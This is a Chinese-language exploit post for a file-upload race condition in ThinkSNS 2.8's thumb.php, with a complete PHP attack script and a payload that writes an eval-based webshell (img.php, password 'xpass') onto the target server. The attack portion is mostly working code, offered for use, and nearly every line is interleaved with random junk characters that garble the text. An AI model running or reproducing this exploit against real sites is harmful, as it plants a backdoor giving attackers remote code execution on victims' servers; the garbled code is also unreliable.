漏洞版本: k2 _' `4 u* `2 s- |
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)1 n7 c( T; b7 r& Y
漏洞文件
/ l$ u+ Z9 r0 J6 [2 ?9 ?, Q, g存在漏洞的文件为:thumb.php
# }( M$ j: X. m. m4 b3 `; d. E; c7 X0 Q作者:韦鲲鹏1 N* N% P8 D; w" \
1、 准备如下PHP文件并上传到服务器(自己的)。' ^* D7 h, d1 K' B2 ]# @
文件内容如下:" s$ m J5 E3 R) R% l. H
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
" L; `9 P% f( Q$ B4 n. }2、 计算出临时的文件名:
* }& y1 T7 C2 y$ Z这里我们可以看文件的99行(刚刚是不是没注意呀!)。% N/ c; A, o2 v+ C* t
& W: a/ K$ J& l: n& N3 s3、 上传临时文件。& d" d/ n+ f# E& a7 f% t
4、 访问临时文件。
8 v% S! v2 Y+ \8 D: J但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* `# c% J. f; M
Exploit文件内容如下:(这个我就不详细解释了). b2 O( M# f* B9 k8 w# c
<?php! w' I3 }9 ~' }: D2 c$ H/ o: L
error_reporting(0);, F8 ]! C5 {9 m0 T, B" m$ A+ h
set_time_limit(0);" _ f y- Q$ _6 i, ~) C
ini_set(“default_socket_timeout”, 5);
2 i; _5 H0 m1 \+ B1 U4 tfunction http_send($host, $port, $headers) {4 Q- y: c: J% a3 @& E. Y4 S
$fp = fsockopen($host, $port);, z0 q" n! D4 t. ]
if (!$fp) die(‘Connection -> fail’);
0 `! M1 j0 X* s+ sfputs($fp, $headers);
* P/ J$ J1 ~& [0 A7 z3 T# Jreturn $fp;
% H0 W4 M( U9 a1 g/ v9 j0 @}
+ M! V0 Z& l. }function http_recv($fp) {
7 Y: H0 S! n2 J! v8 M. k# ~( {5 s$ret=”";
% }7 p5 N1 O4 h# T8 p2 B+ B3 Lwhile (!feof($fp))% C, R1 P, \ B+ ~& D
$ret.= fgets($fp, 1024);- L- p- X! j0 e. g: g
fclose($fp);
( G8 W) c* d6 w- ]5 A! ~& B4 J& Greturn $ret;& D% c3 }* P9 Z" I0 e
}. B2 h. B8 w$ k2 D' s! @
print “\n# ThinkSns Arbitrary File Upload #\n”;
0 ~# C0 A ^/ D% z" p4 }print “# Discovered by 韦鲲鹏 #\n\n”;5 u7 }" n/ G9 E
if ($argc < 4) {
/ m' }4 x% o A$ L) Y) V2 aprint “Usage: php <host> <path> <romote_url>\n”;
* K8 a- ]- @2 C, D( vprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
4 a0 q, y8 C1 ]' Qdie();) X3 p7 d5 I# C) T
}
, o" e$ ^# ~* c/ W$host = $argv[1];8 Z& @0 ]/ V" L- r
$path = $argv[2];" u7 r- I% [9 D3 _" r
$url = $argv[3];7 c. Z( K' {2 [/ s& a2 d
$i=0;
- n! F: x, d4 Z* \* `1 g//上传数据包
/ p. b8 f6 j( q/ s7 `, m; J7 s u4 D$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;# `. ?: z& {! k/ s' _! F) k C/ v
$headers_up .= “Host: “.$host.”\r\n”;" i# R9 O- {% D4 [ W* r
$headers_up .= “Connection: close\r\n\r\n”;& {1 l/ E& l8 p4 J6 h- h& \) L
echo $headers_up;
) b; \ s( U& {//临时文件访问数据包. j( O' b5 \5 g \8 F! T
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
9 E: i# E( q: d7 {) |- {7 E6 m$headers .= “Host: “.$host.”\r\n”;& {. b8 v& O! s. R6 z
$headers .= “Connection: close\r\n\r\n”;) w4 i3 K/ M" m3 J$ E9 ^$ }$ ~
echo $headers;
- K$ ^4 H4 a* E! b, wwhile(++$i<10) {9 l& V) G: K' t. r0 y/ _ |
fclose(http_send($host, 80, $headers));
. F7 y" j0 v3 \" {}
0 U4 B* ^( c, V8 ?+ u/ |0 o3 zfclose(http_send($host, 80, $headers_up));
7 j5 V- g* L3 X& [+ pwhile(++$i<50) {7 ^; }0 M) x% `: G& P: s
fclose(http_send($host, 80, $headers));
( M, f( C& C, j, u% n- @}! t3 I! P' Q! X' y: z
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;7 N% W; ~- k; F, D" l* X
$headers .= “Host: “.$host.”\r\n”;4 {. V* T8 y1 n/ i0 i& h% z8 t- s0 j
$headers .= “Connection: close\r\n\r\n”;
6 g3 H6 m0 _) `0 g6 s- i) y" T- _$res=http_recv(http_send($host, 80, $headers));% U) l1 C& X( N& }
if(preg_match(‘/200 OK/’,$res)) {
& x9 M k- c/ ^9 Y L$ A, {( pprint “Success!\n\n”;
# V1 {! X/ K6 G0 e: \3 m} else {/ ]' R: `( d2 {/ X: q
print “Fail!\n\n”;) X2 e* M- x# l" Q, O$ w/ b, y
}
& ?6 y; t1 V4 j; E9 j. ??>
+ V2 M* |; Y* \: f7 h |